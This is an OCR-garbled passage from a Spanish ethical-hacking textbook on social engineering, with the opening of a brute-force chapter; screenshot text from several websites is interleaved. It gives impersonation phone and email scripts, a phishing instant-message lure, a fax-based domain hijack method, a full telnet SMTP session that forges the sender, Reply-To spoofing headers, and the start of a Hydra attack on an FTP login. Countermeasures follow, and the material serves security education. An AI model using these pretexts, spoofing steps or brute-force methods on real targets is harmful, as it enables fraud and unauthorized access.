www.nic.ar, hostings) o con informacién sensible.

* Medios y agentes combinados: por ejemplo, el intruso envia un e-mail de un
supuesto superior de una sucursal, avisando a la recepcionista de otra sucursal
que en unos momentos va a pasar alguien a recoger un dato o determinada
informacién para que se la tenga preparada.

Fin del acto:

* Informacién: busca pequefias pistas o datos para planificar el embate.
* Acciones: busca generar determinadas acciones.

Ingenieria social +information gathering

Aun sin el suficiente conocimiento técnico como para cometer una intrusion a
través de la seguridad de red (firewalls, IDS, control de accesos), un manipulador
habil puede lograr su ingreso recabando informacién mediante algunas llamadas
telefonicas o e-mails. ;Cémor Obteniendo los datos de un usuario legitimo a través
de una previa recoleccién de informacién interna sobre procedimientos, datos
concretos (tipos de formularios o c6digos) y nombres.

El intruso informatico seguramente va a buscar informacion utilizando ingenierfa
social y por eso es tan importante, tanto para una organizaciéon como para n0sotros
-usuarios de internet-, tratar de no dar informacién confidencial o personal a
extrafios. Y ante algin suceso inesperado (como recibir una consulta de un
desconocido o haber encontrado un pendrive en su escritorio), deberfamos
desconfiar.

¢Qué hace tan riesgoso al embate de un ingeniero social?
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¢ Este adopta la identidad que desea o la suplanta.

* Ajusta la retérica o su modo de comunicarse al receptor, a sus sentimientos y a
su rol dentro de la organizacion formal.

* Genera la trama o excusa que conviene a su proposito.

* Hace interactuar personajes reales y ficticios entre si.

* Expone a su victima a trampas, voluntades de ayuda, seduccién y preocupacion con
tal de obtener cierto dato o una accién precisa (o desencadenamiento de actos).

@ - c K | ™y http:fjwnwr.ccc.defbiometrieffingerabdruck_kopieren.xmi?lanquage=en B | (G-

Chaos Computer Club e.V.

KABELSALAT IST GESUND

EVENTS | [CHAOSRADIO [TOPICS] [IMPRINT]

How to fake fingerprints?
/Latest

»Chaos Calendar October 26, 2004 (starbug)
»Press Releases Simple instructions how copy and fake fingerprints
»News from the German

A In order to fake a fingerprint, one needs an original first. Latent fingerprints are nothing but

fat and sweat on touched items. Thus to retrieve someone elses fingerprint (in this case

/The cCC the fingerprint you want to forge) one should rely on well tested forensic research
>>EX9Q'“5 methods. Which is what's to be explained here. (Figure 1).

»|

»Regional Groups

»Mermbership

»Statutes

»Office

»Archive

»Shop PSS

/Topics, e.g. - m‘ .

»Voting Computer AFigure 1: Fat residue from fingerprint

»Biometric Passpor‘(s

{de) A good source of originals for our counterfeits are glasses, doorknobs and glossy paper
»Rights Management The standard method of forensic research makes them visible: Sprinkling it with colored
(de) powder, which sticks to the fat (Figure 2).

»3martcards and Card

Caos. En su sitio web, CCC ensefia como extraer
una huella digital de un tercero para utilizarla en mecanismos
biométricos de autentificacion y de esa manera suplantar una identidad.

Hoy en difa, con la actual expansion de Internet, el intruso que desea hacer
ingenierfa social cuenta con muchos recursos. Hay fuentes casi publicas de
informacion ejecutiva en los circulos sociales o de contactos profesionales como
Lynkedin, en el cual alguien puede publicar un curriculum vitae muy interesante a
nombre de cualquiera y, desde alli, ponerse a contactar con gente cercana a la
organizacion objetivo o componentes de ésta.
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Home | What is Linkedin? | Join Today | Sign In

About Linkedin

LinkedIn's simple philosophy:
Relationships Matter

Your professional relationships are key to your professional success.

Our mission is to help you be more effective in your daily work and open doors to

opportunities using the professional relationships you already have

This isn't networking—it's what networking should be

Forget exchanging business cards with acquaintances that don't know your work, or

trying to renew professional ties when you need a favor

What is LinkedIn?

LinkedIn is an online network of more  Through your network you can:

than 20 million experienced
professionals from around the world,
representing 150 industries.

When you join, you create a profile that
summarizes your professional
accomplishments. Your profile helps you
find and be found by former colleagues,
clients, and partners. You can add more
connections by inviting trusted contacts to
join LinkedIn and connect to you.

Your network consists of vour

Find potential clients, service
providers, subject experts, and

p who come ri ded
Be found for business opportunities
Search for great jobs

Discover inside connections that can
help you land jobs and close deals
Post and distribute job listings

Find high-quality passive candidates
Get introduced to other professional
through the people you know

About LinkedIn

About LinkedIn
Management
Board of Directors
Investors

Media Coverage
Press Releases
LinkedIn Blog
LinkedIn Store
Work at Linkedln
Contact Us

Relaciones. Una red social como Linkedin (www.linkedin.com) es til para
hacer ingenieria social ya que muestra los contactos de una persona, aunque ;como
sabremos efectivamente que el perfil que vemos alli pertenece realmente a la persona?

Ejemplos

A continuacion, veremos algunos ejemplos sobre como utilizar las técnicas que
conocimos hasta aqui.

Estas son formas en las que un intruso podria llevar a cabo su embate para obtener
informacioén de nuestra empresa y como profesionales de la seguridad, debemos
conocerlas a fondo para intentar evitarlas.

Anécdota

Una consultora hizo un chequeo de seguridad de una organizacion con hincapié en
ingenieria social. Para eso, los profesionales dejaron olvidados 20 pendrives con
archivos que, al ser ejecutados, enviaban informacion de la organizacion hasta sus
maquinas. La trampa fue efectiva con 15 empleados de la organizacion.
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Ingenieria social via teléfono

En estos dias, el teléfono es un medio que permite la suplantacion de identidad (por
quien esta del otro lado) y es muy utilizado por quien practica ingenierfa social.
Veamos un ejemplo de cémo puede ser utilizado.

El ingeniero social llama a una sucursal (previa tarea de haber buscado un numero
en la guia telefonica, la industrial, internet o mediante el aporte de otro empleado
u otro recurso de datos) de la empresa objetivo y dice algo como:

—Buenos dias, lo llamo desde casa matriz, soy Juan Pérez del departamento de
calidad, y me gustarfa hablar con el encargado de produccion. ¢Con quién tengo el
gusto de hablar?

Ese es, quizas, el primer approach (acercamiento, inicio de la ofensiva) para
recabar nombres, comenzando por el de una recepcionista en caso de que no se
conociera nadie alli dentro.

—¢Serfa tan amable de recordarme el correo electronico del gerente de produccion?
Debo enviatle esta tarde un informe de calidad, es importante. No llegamos a
tiempo para llevarselo y lo esta esperando, es medio urgente.

Este es el factor que pretende generar ayuda en el otro, no sélo para recabar datos.
Lo esta esperando es un disparador de conciencia, algo que le hara creer a la
secretaria que, si no ayuda, muy posiblemente tenga una llamada de atencién por
no haberlo hecho. Ademas de recabar informacién por teléfono, veamos cémo
pueden ser los e-mails para continuar este caso.

—Mil gracias, Agustina, te enviaré copia por si me viene devuelto. ;Lo hago a
info@yvictima.com?

Ejemplo conocido

Uno de los casos de ingenieria social mas conocidos mediante spam es el fraude del
nigeriano. Podemos encontrar un interesante relato acerca de este engano en
www.elpais.com/articulo/portada/fraude/nigeriano/elpeputeccib/20061123elpcibpor_3
[Tes.
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Con esta frase, inicia confianza y cae agradable, y muy posiblemente la persona le
dé el e-mail personal institucional. Acto seguido, el ingeniero social deja pasar un
par de dias y escribe al e-mail del gerente de produccion:

Estimado Sr. Garcia: le escribo para solicitarle el dltimo informe sobre produccion.
Si es posible, ¢serfa tan amable de dejarselo a Agustina?

Yo iré personalmente esta tarde a buscarlo. Desde ya, muchas gracias. Atte.

Juan Pérez

Dto. Calidad Casa Matriz

Resto de la firma con direcciones y teléfonos.

Imaginemos que este correo lo recibe un gerente de produccion, supuestamente
contactado por un nuevo agente de calidad que quiere conocer su trabajo y es de
la casa matriz (principal) de la empresa.

Mientras espera una respuesta por parte del gerente (quien al ver que nombra a la
recepcionista con naturalidad tendra mas confianza en el texto, que serda mas
convincente si figuran estas piezas), de ser ésta positiva o al menos dudosa, este
ingeniero social llamara de nuevo a Agustina solicitandole el informe faxeado o
reenviado a su e-mail, ya que es muy probable que no vaya en persona y se las
ingenie para conseguirlo de modo impersonal o a través de un tercero.

El modo de abordar el caso podria ser mas sutil aun. Las situaciones son
numerosas por la cantidad de posibles variantes y personalidades involucradas.
Es importante planificar una politica interna acerca de los canales de
comunicaciéon que contemple la descentralizacion de informacién institucional,
su modo de envio cifrado y sus responsables. Otro de los casos mas tipicos es
el llamado del empleado al usuario comun de la empresa.

—Hola Agustina. Te llamo de Sistemas, soy Diego Pérez. ;Podrias ayudarme un
segundor Estamos mejorando el tema del correo electrénico en la empresa y tengo
que generar un archivo de tu cliente de correo. Son dos pasos solamente. ¢Estas
con la maquina encendida?

—Eh. Hola, si.

—Abrti Outlook por favor, anda a Herramientas, luego a Cuentas...

No hace falta mucho guién para hacerle exportar a una secretaria sin muchos
conocimientos de PC el archivo .iaf de su cuenta y hacer que lo envie para
revisarlo. Hste archivo posee toda la configuraciéon de la cuenta de e-mail de
Outlook, incluso password, servidor SMTP y POP3, etcétera.

También debemos tener en cuenta que desde teléfonos celulares se pueden llevar a
cabo variadas acciones relacionadas con ingenierfa social, como enviar paginas
mediante mensajes de texto, e-mails, llamadas o conectarse a mensajeros
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instantaneos.

- e X wo‘http:ﬂwww.audio4fun.com!voice-over.htm Q M Ig'\

B3 | English .‘
5

Home | Products | Download | Order | Promotion | Customer Care | News | Affiliate (

Espafiol | B2EE | taliano | Frangais | Deutsch | B8 | B

N Audio4fun

Unique Products - Serious Fun

LA (A3 Do almost anything with your voice

Software Diamond 6.0

Voice Over Maker - AV Voice Changer Software Diamond 6.0 Other Editions:

The highest edition of AV Voice Changer Software series, Voice Changer Software Diamond :
——— AV Voice Changer Software

0] can, among other features, alter and create different voices to make voice-over and voice

- . dubbing for audioivideo clips, presentations, narrations, voice messages, voice mails, Voice Recorder - AV VCS GOLD

S Y?"‘W% E- greenng cards, etc. This Diamond Edmon also presents a faster voice morphing algorithm,

| i , and kvoices. NEW BACKGROUND EFFECTS in version 6.0 Ueer Ry o

i ‘ as well as packages of parody voices that help users talk in the voices of many Hollywood stars SEEECREEEEE

] and other famous people.

1 This Voice Changer Software works

$99,95 Buy Now Trial Download Testimonial Tutorials B e

been able to find in the marketplace.
Demonstration Voice Samples Parody Voices Screenshots Compare 3 Editions FAQs Magnet, U.S.A.
Write an online review

Awards and verifications:
ain Benefits of Voice Changer Software Diamond:

P Do-it-yourself voice-overs Voice actor tool
@ Easily create your own, high guality voiceovers for & View your voice to understand what's going on with
movie, radio, narration...and more L your current voices {original and changed voices)

Fun in chatzone, phone, games... Voice mimicker

1:3 Change, in real time, your voice to fernale or male for Ga Mimic other people's voices, imitate Hollywood stars'
- voice chat, phone, online games... and famous people’s voices, and mix parody voices...

Audio. En la actualidad, el voice morphing (deformacién de voz) a través
de software permite suplantar identidades gracias a la complejidad que poseen
este tipo de aplicaciones. Por ejemplo, un sefior puede lograr la voz de una sefiorita.

Ingenieria social via fax

Muchos dominios han sido usurpados mediante fax. Hace tiempo, esto les pasé a
los creadores de una conocida E-zine espafiola, como a otros tantos aqui gracias a
Photoshop y un escaneo de documento de identidad, faxeado con una simple nota.
Un muy buen articulo sobre el tema se encuentra en www.bufetalmeida.com/133/
usurpacion-de-dominios-y-derecho-penal.html (sitio de abogados espafioles con

Celulares comprometidos

Se denomina Hacking Bluetooth a lo que sucede cuando la agenda de contactos del
celular es comprometida. Esta suele brindar muchos datos para realizar ingenieria
social de alta credibilidad. Si nuestro celular tiene este servicio, conviene deshabilitarlo
www.security-hacks.com/2007/05/25/essential-bluetooth-hacking-tools.
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mucha experiencia en casos de intrusion y delitos informaticos).

El engafo consiste, simplemente, en hacer un reclamo mediante fax a la institucién
que maneja el dominio a nombre del actual y real propietario solicitindole algun
cambio de dato de registro u otro dato que permita luego utilizarlo para
redireccionarlo hacia cualquier IP de Internet.

En la pagina de preguntas frecuentes de Nic.ar (www.nic.ar/faq3.html), podemos
ver el modelo de nota (formato) que detallan para el fax. Asi, un simple fax puede
dejar a una organizacién sin su plataforma de comunicacién y marketing online o
bien, puede utilizarse para otros delitos informaticos que no vamos a detallar en
este libro. En este caso, el ingeniero social se expone a falsificacién de documento
publico (lo cual esta penado) y a otras cosas, y depende de la organizacioén que esté
detras del dominio en cuestion y de la reaccion de ésta en caso de ser victima.

Ingenieria social via mensajeros instantaneos

El mensajero instantaineo es un medio con mucha llegada al usuario comun,
aunque en épocas anteriores no habia tanta gente conectada como sucede ahora
con MSN Live. Suplantar la identidad en MSN es relativamente facil y los mensajes
pueden utilizarse de diversas formas:

¢ Se le puede inventar alguna historia.

* Se puede enviar archivos directamente.

* Se puede pasar un link de pagina (ésta puede tener archivos infectados o links
hacia archivos ejecutables, o algo que le saque determinada cookie o una imagen
que deja el log de la direccion IP de la victima).

Para hacerlo, se agrega la persona a la lista de contactos y se le envia el mensaje con

el link en estilo informal como:

“Hola capo, estoy desde la cuenta de mi prima, te paso la pagina que te conté, estoy
llegando de viaje mafana a casa. Saludos
http:/ /www.sitiomalicioso.com”

Ingenieria social segun microsoft

Si queremos conocer la explicacion de Microsoft sobre lo que significa la ingenieria
social, podemos visitar www.microsoft.com/Spain/athome/security/email/
socialengineering.mspx. En esa pagina encontraremos las recomendaciones y las
soluciones de la empresa.
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Ingenieria social via e-mail

El e-mail es el principal canal de ingenieria social en estos dias. Lo utilizan los
estafadores, los spammers, los intrusos y los gusanos (programas que, al ser
ejecutados por el usuario o habiendo ingresado en nuestro sistema por algun
servicio vulnerable, infectan la maquina para luego enviar un e- mail a todos los
miembros de nuestra lista de contactos. Por ejemplo, VBS/LoveLetter worm).
Recordemos que el e-mail permite suplantacion de la identidad (el que dice que es
anonimo, no conoce los medios de intercepcion y rastreo).

El e-mail posee tres particularidades interesantes para combinar con la ingenietfa
social:

* Se puede falsear el remitente (sender o quien lo envia). Veamos un ejemplo de
como enviar un e-mail con remitente inventado:

shell>telnet IP 25 // conecta al servidor smtp mediante telnet

Trying IP, 25 ... Open

220 smtpx.xxxxxx.com.ar ESMTP// conecta al smtp

helo PC4// saludamos con eso, PC4 es nuestro nombre de host
250 smtpx.XXXXXX.com.ar

mail from: test@dominioquesenosocurra.com.ar// Quien envia
250 ok

rcpt to: nuestromail@xxx.com// Quien recibe

250 ok

data // Anunciamos cuerpo del mensaje

354 go ahead
X-Mailer: amano v2.0
Message-ID: 34235

Historia del correo electrédédnico

www.telecable.es/personales/carlosmgi/historia_correo.htm es un sitio donde
podemos encontrar la historia del correo electronico en espanol. Entre otras cosas, la
pagina cuenta como los usuarios de sistemas dejaron de pasarse archivos con texto
hacia carpetas para luego enviarse mensajes entre maquinas con este nuevo estandar.
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to: nuestromail@xxx.com

from: test@dominioquesenosocurra.com.ar

Subject: Testeando envio de mails a mano.

Hola, esto es una prueba via telnet.// Mensaje.// Escribimos un punto y

damos enter para terminar.

250 ok 289736235443 qp 2343864
quit
221 smtpx.XXXXXX.Com.ar

[Connection to IP closed by foreign host] // Se desconecta

Asi se verfa el codigo fuente del mensaje que nos llego:

Received: from smtpx.xxxx.com.ar (smtpx.xxxx.com.ar) by IP-pop3 (7.9.3/7.9.3)
with SMTP id MAA12494 for < nuestromail@xxx.com >; Tue, 8 Jan 2007
00:00:00 +0900 (KST)

Received: (gmail 2243 invoked from network); 8 Jan 2007 00:00:00 -0000

Received: from unknown (HELO PC4 ) (IP desde donde se ejecuté el cliente
telnet) by smtpx.xxxx.com.ar with SMTP; 8 Jan 2007 00:00:00 - 0000

Message-ID: <34235>

From: < test@dominioquesenosocurra.com.ar >

To: < nuestromail@xxx.com >

Subject: Testeando envio de mails a mano.

X-Mailer: amano v2.0

Subject: Testeando envio de mails a mano.

* Se puede confeccionar en html. Esto lo hace menos visible a los links maliciosos
0, hacia cosas maliciosas.

US-CERT aconseja
En el sitio http://www.us-cert.gov/cas/tips/ST04-014.html podran encontrar (en inglés)

consejos de como prevenir ataques de ingenieria social y phishing.
Por Mindi McDowell
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Outlook. Un link en html hace menos visible un URL malicioso y por eso es fundamental

no ingresar (o hacerlo con mucho cuidado) en paginas que llegan a nuestro correo.

* Se puede declarar hacia qué casilla sera enviada la respuesta del e-mail original
From: “Remitente real falsificado” xxxx@gmail.com // Emisor falso
Reply-To: xxxx@hotmail.com // Casilla de intruso

To: info@dominiovictima.com // Casilla victima

En este caso, lo que sucede es que el intruso le envia un e-mail a la victima a
nombre de un conocido de ésta y desde su respectiva casilla, pero que jamas salié
desde ella porque es un e-mail falso. Si no presta atencion, esta victima cuando

Whitelist
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responda lo estara haciendo hacia la casilla del intruso.
Mas alla de estas caracteristicas propias del e-mail, su contenido juega un papel
importante, ya que se pueden enviar links, archivos, historias inventadas y engafios
de todo tipo. Asi, es posible conseguir datos muy variados (por ejemplo, la planilla
de las 100 preguntas para amigos con su color preferido, pelicula favorita, etcétera),
acceder a mensajeros, listas de contactos y mucho mas.

No Tech Hacking: A Guide to Social Engineering, Dumpster Diving, and Shoulder Surfing

FREE E-BOOK DOWNLOAD

No Tech
Hacking

A Guide to Social Engineering,
Dumpster Diving, and Shoulder Surfing

0 myself. The head of the

e Afr

a partnership with or Empowerment

HACKERS FOR CHARITY.ORG

Johnny Long

Scott Pinzon, CISSP, Technical Editor
Kevin D. Mitnick, Foreword Contributor

Libro. No Tech Hacking es una guia de ingenieria social,
dumpster diving (trashing) y shoulder surfing (mirar claves por sobre
los hombros) escrita por Johnny Long y publicada por Syngress.

MEDIDAS CONTRA EL ENGANO

En las organizaciones serias que utilizan recursos y recaudos en cuanto a segu-
ridad de la informacién, la ingenierfa social es tomada como una potencial

Recursos relacionados con la ingenieria social

Etica de los negocios: www.eseade.edu.ar/servicios/Libertas/11_5_Machan.pdf. Acerca
de la persuasion: www.cepvi.com/articulos/persuasion.shtml. Influir sobre las personas:
http://encontrandoelexito.com/Ebooks/como_ganar_amigos_influir_sobre_las_
personas.pdf. El paralenguaje: www.google.com/search?hl=es&q=paralenguaje.
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amenaza a su activo: la informacion.

A través del hacking ético, un profesional de seguridad intentara emular en la
organizacion estos ataques -como supimos al principio- a fin de lograr lo mismo
que podria alcanzar esta vez un ingeniero social o intruso (ya sea un empleado
descontento o ex empleado, hacker, espia industrial, competencia). El propésito de
esto es descubrir cuales son los errores que se cometen en el trato con las personas
en cuanto a divulgaciéon de informacién supuestamente inofensiva y agentes
externos a través de los medios de comunicacién o en persona, es decir, desde el
momento en que se la recibe en la empresa. Veamos ahora algunas medidas para
mejorar este aspecto.

Se entrena a la gente mediante charlas (especialmente a las recepcionistas que
trabajan en mesa de entrada, a las telefonistas, al personal de seguridad, a las
secretarias y a los ejecutivos) acerca de esta fuga de informaciéon. También se
desarrollan politicas para el manejo interno de la informacion, su clasificacion y la
no descentralizacién de ésta por fuera del protocolo.

Se llevan a cabo testeos éticos de seguridad (que no tendran impacto en la
organizacion, sino que daran una nocioén de como esta resguardada ante este tipo
de amenaza) como el que detallamos anteriormente, se realizaran pruebas como la
de los pendrives-trampa y otros métodos mas intrusivos. La finalidad de todo esto
es que sirven tambien para mejorar el nivel de seguridad relacionado a accesos
fisicos. En sintesis, los integrantes de todo el sistema deberfan contar con estos
elementos:

* Concientizacién institucional acerca de la ingenierfa social.

¢ Politicas internas que contemplen la descentralizacion de datos y el resguardo de
la informacion.

* Politicas acerca del buen uso de recursos de comunicacion e informaticos, por
parte de todos los empleados.

* Lucidez mental.

De no ser asi, es muy probable que el ingeniero social que tome a esa organizacion
como objetivo, tarde o temprano consiga su fin y la comprometa.
Lo mas importante dentro de la organizacion es integrar a la gente que se desem-

Actuacién de ingenieros sociales

Si deseamos conocer mejor la forma de actuar de un ingeniero social, hay que conocer a
Patricio Peker. Es disertante acerca de la influencia y persuasion en las personas, y trata
temas como los patrones mentales, estrategias para didlogos, objeciones, negociados. La
direccion de su sitio es www.ganaropciones.com/peker.htm y sus mp3 son muy interesantes.
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pefia en el sistema como parte del planeamiento estratégico de seguridad de la in-
formacion y concientizarla peribdicamente a partir del mismo reclutamiento.

Area de riesgo

Tactica intrusiva

Estrategia

Teléfono (recepcionista)

Impersonalizacion y
persuacion

Entrene a sus empleados
para que no den informacion
confidencial ni passwords

Entrada de edificio

Acceso fisico no autotizado

Personal de seguridad

Oficina

Mirar sobre el hombro

Vea si hay alguien presente

Teléfono (mesa de ayuda)

Imper. en llamadas ayuda

Utilice PINs

Oficina

Busqueda de puertas
abiertas

Invitados y visitantes
escoltados

Sala de cotreo

Insercion de memos

Cierre y monitoree

Sala de maquinas o
teléfono de linea

Entrar, robar o plantar
sniffer

Mantenga cerrado e
inventariado

Teléfono y PBX

Robar linea

Controle llamadas y
rechace transferencias

Cestos de basura

Extraer basura

Monitoree, botre de modo

seguro y destruya lo descartado.

Intranet e internet

Plantar sniffers

Continuo revisiones de los
cambios en la red y uso de
los passwords

Oficina

Robar datos sensibles

Cierre y guarde todo.

General - Psicolégico

Impersonalizacion y
persuacion

Entrene al personal
periodicamente

Contramedidas. Del documento Social Engineering Fundamentals, Part II: Combat
Strategies de Sarah Granger. www.securityfocus.com/infocus/1533
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www.secuhia.com

Secunia

Stay Secure

Home Corporate Website

Jobs Mailing Lists RSS

Blog few entry

Search

Advertise

Software Inspectors

|Secunia Highlights [About]

Scan Online
Personal (PSI
Network (NST 2.0

- NEW -

Solutions For

Security Professionals
Security Vendors

Free Solutions For

Open Communities
Journalists & Media

Secunia Advisories

Novell GroupWise WebAccess Script Insertion

critical - From remote

Juan Pablo Lopez Yacubian has reported a vulnerability in
Movell GroupWise, which can be exploited by malicious people
to conduct script insertion attacks,

PHP Multiple Yulnerabi

’ OTE - Mo
Issued 13 h

Some vulnerabilities have been reported in PHP, where some
have unknown impacts and others can be exploited by

critical - From remote

Akamai Download Manager Code Execution
Yulnerability

@, T - it
Akamai

Issued 2 days ago. Updated 13 hours ago

ritical - From remote

& vulnerability has been reported in Akamai Download
Manager, which can be exploited by malicious people to
compromise a user's system.

The Secunia NSI 2 - available now!
Secunia has released the new version of the Secunia NSI.

We invite you to download your trial version today:

NSISetup.exe / Read more / Blog Entry

malicious users to bypass certain security restrictions, and
potentially by malicious people to cause a DoS (Denial of
Service) or to compromise a vulnerable system.

Search

Historic Advisories
Listed By Product

Listed By Vendor

Espacio dedicado a informar diariamente sobre vulnerabilidades de sistemas y
aplicaciones en formato advisory (aviso con detalles técnicos) via e-mail a
todo aquel que se dé de alta en el boletin. Contiene noticias, documentos
técnicos (whitepapers) que describen fallas, blog, panel de trabajos y mucho
mas.

http://hwagm.elhacker.net

i) Komprawi)

Tienda wireless

SEGURIDAD WIRELESS

Herramientas inseguridad, monitorizacidn y auditoria de redes inalambricas

Menu Web Bienvenidos a "Seguridad Wireless", Trataremos fundamentalmente los aspectos mas importantes relacionados con la seguri

en la conexiones inaldmbricas, sin dejar de lado materiales y componentes que mas se usan.

Novedad

Productos ONLINE
Hardware y equipos |
Materiales

Bricolaje

$.0. Linux

Software

Drivers

Encriptacion WPA - "un antes y un después (ya no son lo que eran)"
wifiway-1.0-beta2.iso (694 Megas) con KDE
MDS: e24ca81486718e546246788ec5834d02
wifislax-small-3.1 (Solo 290 megas)

MDS: ea2b0b77ab981adeedd9dd59aea86fe8

Tutoriales

Herramientas

Wifislax 3.1

Wifiway 0.8

Sitio web acerca de seguridad sobre tecnologia WiFi. Proveen un CD live con
herramientas para auditar este tipo de sistemas (wifislax) y un foro
especializado con gente dedicada al chequeo de redes inalambricas que nos
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4 > Fuerza
bruta

En este capitulo veremos cdédmo se lleva a
cabo esta técnica, conocida en inglés como
Brute Force. Conoceremos sus mecanismos, las
herramientas utilizadas, los modos, destinos
y tiempos, las clases de algoritmos por
descifrar y los servicios en donde es
posible auditar con ella accesos validos del
tipo FTP, SSH, o POP3. Por otro lado,
conoceremos en detalle las causas dque
inciden en los tiempos de resultado al

aplicarla.



INTRODUCCION A FUERZA BRUTA (FB)

When in doubt, use brute force.
Ken Thompson, Co-inventor de Unix.

Fuerza bruta es una técnica que proviene originalmente de la criptografia, en espe-
cial del criptanalisis (el arte de romper codigos cifrados o descifrar textos). Es una
manera de resolver problemas mediante un algoritmo simple de programacion, que
se encarga de generar y de ir probando las diferentes posibilidades hasta dar con el
resultado esperado o de mejor conveniencia.

Los casos de fuerza bruta que describiremos en este capitulo estan orientados a la
accion de generar claves (mediante la combinacion secuencial de caracteres) y a
probarlas en determinado servicio de autentificacién o archivo para verificar si
coinciden con un login valido de acceso (usuario y clave o solo clave). Por otro la-
do, apuntan al proceso de romper el cifrado de archivos que contienen passwords
de sistemas operativos o cuentas de usuario de otras aplicaciones.

Como profesionales éticos, podemos utilizar esta técnica y sus herramientas para
verificar la vulnerabilidad de lo que debemos proteger y solucionatla.

6;@' e 5 | L | http:fflabs.mininova.orgfpassclicks/ /

Back to mininova labs

What is passclicks?

Passclicks 1s a new way to login to websites without users having to remember thir old style textual password.
Studies have revealed that humans are way better in remembering visual things than textual things.
With passclicks your normal textual passwords are replaced with a sequence of clicks on an image.

For this passclicks example I have chosen an image of a city because it contains many distinct visual points which can be used for
Other images are posible but the more distinct visual points they contain the better.

One posible improvement to passclicks would be if the user could choose from a set of pictures.

As some people requested: an overlay of 157090 points people clicked.

Example

Click 5 times on the image to generate your passclicks.
Once you clicked 5 points you will automatically be redirected.

5 clicks left

Clicks. Una forma ingeniosa de implementar un sistema de logueo
funciona mediante una secuencia de clics en diferentes puntos visuales
de una imagen. Este sistema (http://labs.mininova.org/passclicks/)
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Empleos y orientacion

En seguridad informatica, a veces es necesario llevar a cabo fuerza bruta para evi-
tar el trabajo de probar a mano o generar combinaciones, algo que nos llevaria mu-
cho tiempo de trabajo. Por ejemplo en estos siete casos:

* Si necesitamos descubrir determinado usuario o password de un servicio de au-
tentificacién como FTP, SSH o POP3 de manera remota a través de una red.

* Obtener el password de archivos del paquete Office u otras aplicaciones del tipo
compresores (.rar, .zip, .mdb, .xls, .doc) de modo local.

Ed Microsoft Access

Yer Insertar Herramientas Ventana 7

NeE GRY sB2RY| - |- HE- g & fa- 0.

Solicitud de contrasena |EHX

Escriba la contrasefia de la base de datos:

Aceptar I Cancelar

Office. Solicitud de contrasefia en base de datos de Access, que puede ser
facilmente crackeada o rota, como vulgarmente se dice, o descubierta por fuerza bruta.

* En el caso de formularios web de autentificaciéon que solicitan que ingresemos
usuario y clave (validaciéon online, .htaccess, intranets con logins).

Encriptar no, cifrar.
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‘ﬂ http:ffwww . sequ-info.com.ar/politicas ‘ v ‘ | ‘ K

Para ingresar a este seccion Ud. debe ingresar un usuario y una clave.
Para obtener estos datos silo debe suscribirse a nuestro Boletin Semanal 0 a
nuestro Foro.

Identificacion requerida @

(9 Introduzca usuario y contrasefia para "Por favor registrese al boletin en la pagina principal para que
)_,'-) se e otorgue su usuario” en http:/fwww.segu-info,com.ar

Nombre de usuario:
[ l
Contrasefia:

\ |

Foro Discusion (correo diario)

direccién email Dar de alta |

Yolver al Inicio

Weblogin. Solicitud de login (usuario y password) para ingresar en un repositorio
de politicas para la gestion de la seguridad de la informacion en el sitio Sequ-info.

* Para romper los cifrados tipicos de los archivos shadow en Linux, Solaris y Unix,
o los archivos hasheados SAM de la familia Windows.

* Para descifrar strings de datos cifrados, como las claves almacenadas en md5 de
los foros, o passwords como los que estan presentes en routers Cisco.

* Para calcular sesiones ID validas de URLs en paginas de comercio electrénico u
otro tipo de sitio web.

* Para aplicar fuerza bruta a una aplicaciéon que cuenta con una interfaz grafica (co-
mo aquellas que fueron desarrolladas en Visual Basic, Powercobol, VisualFox o
Delphi, entre otros lenguajes ). Esto puede ser hecho tanto de manera local, con
autentificacién de usuario, o remotamente, utilizando un cliente para ese servicio
(como Viewer de VNC por ejemplo) y haciendo que éste automatice su intento
por lograr un login valido en el servidor.

Hasheado

El término hasheado se aplica en los casos en los que el password se encuentra ocul-
to en algo llamado hash, que es un string mas o menos asi: f1a81d782dea3a19bd-
ca383bffe68452. Luego de ser descifrado, quizas eso sea una clave del tipo c4rolin4.
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Endgli

Vnére com e S

Inicio | Juegos | Viking | Chat | Foro | Enlaces | Herramientas | Descargas | Registro

La idea de crear este programa surge como necesidad a la hora de automatizar peticiones en aplicativos Web, El programa en si resulta lo suficientemente
genérico como para llevar a cabo multitud de acciones que hasta ahora se realizaban mediante la creacidn de diversos "scripts” o bien, el uso de multiples
herramientas.

Este programa no pretende ser la solucion a todos los problemas de auditoria Web, pretende ser mas bien una ayuda adicional a los auditores de este tipo de|
aplicativos, ya que se presupone un conocimiento previo de las tareas que se realizan cominmente; Pipper Unicamente muestra informacidn numeérico-visual
(codigos de error, nimero de lineas y palabras devueltas, textos coloreados, etc.), tal v como se verd mas adelante, Esta informacion deberd de ser interpret
posteriormente por el auditor, el cual tendrd que ser capaz de diagnosticar "gué esta ocurrienda”.

Un buen uso de este programa reducira notablermente los tiempos de pruebajerror dedicados a "bruteforcear” variables/cookies/credenciales, busqueda de
ficheros (paginas, cai's, etc...), localizar fallos de "Cross-Site Scripting”, "SQL Injections”, etc,

La versidn actual necesita de lo siguiente para funcionar correctamente:

+ Sisterna operativo Unix/Linux.

+ Interprete PERL.

+ Software "curl” instalado en el sistera,

+ Un cerebro resulta también muy recomendable ;-)

Pipper. Herramienta creada por Alberto Moro (Mandingo), muy atil para
realizar brute force sobre variables, cookies y credenciales o buscar CGIs,
SQL injection y XSS, entre otros (www.yoire.com/downloads.php?tag=pipper).

Ejemplos didacticos

Veamos unos ejemplos para comprender mejor la aplicacion de esta técnica.
Fuerza bruta aplicada a usuarios de servicios de autentificaciéon remota.
Para realizar esto, utilizaremos la excelente herramienta Hydra sobre Linux y el
veterano Brutus (win32) sobre Windows. Hydra se puede descargar de free-
wotld.thc.org/releases.php vy, para ver ejemplos de utilizacion, hay que leer el at-
chivo README. El sitio de Brutus es www.hoobie.net/brutus/, y los archivos
de definicién se encuentran en www.hoobie.net/brutus/brutus-application-defi-
nition-files.html. Para aprender a utilizarlo, podemos buscar la frase Manual Bru-

Enigma

Nombre de una maquina que utilizaba un sistema rotatorio para el cifrado de mensajes
alla por los anos 30'. Tenia fama de ser inviolable y fue utilizada inicialmente por los
militares alemanes. Los polacos hicieron ingenieria inversa sobre una maquina
capturada a estos, para asi poder dar con la tecnica del desciframiento.
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tus en Google. Cabe aclarar que las imagenes que utilizaremos en nuestros
ejemplos estan editadas por razones de confidencialidad.

En el primer ejemplo que veremos, el objetivo es determinar qué password tiene el
usuario ctori en un servidor FTP.

X HydraGTk
&l Quit
Target | Passwords |Tuning | Specific Start

Output

Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes
Hydra (http://www.thc.org) starting at 2007-11-09 16:21:22

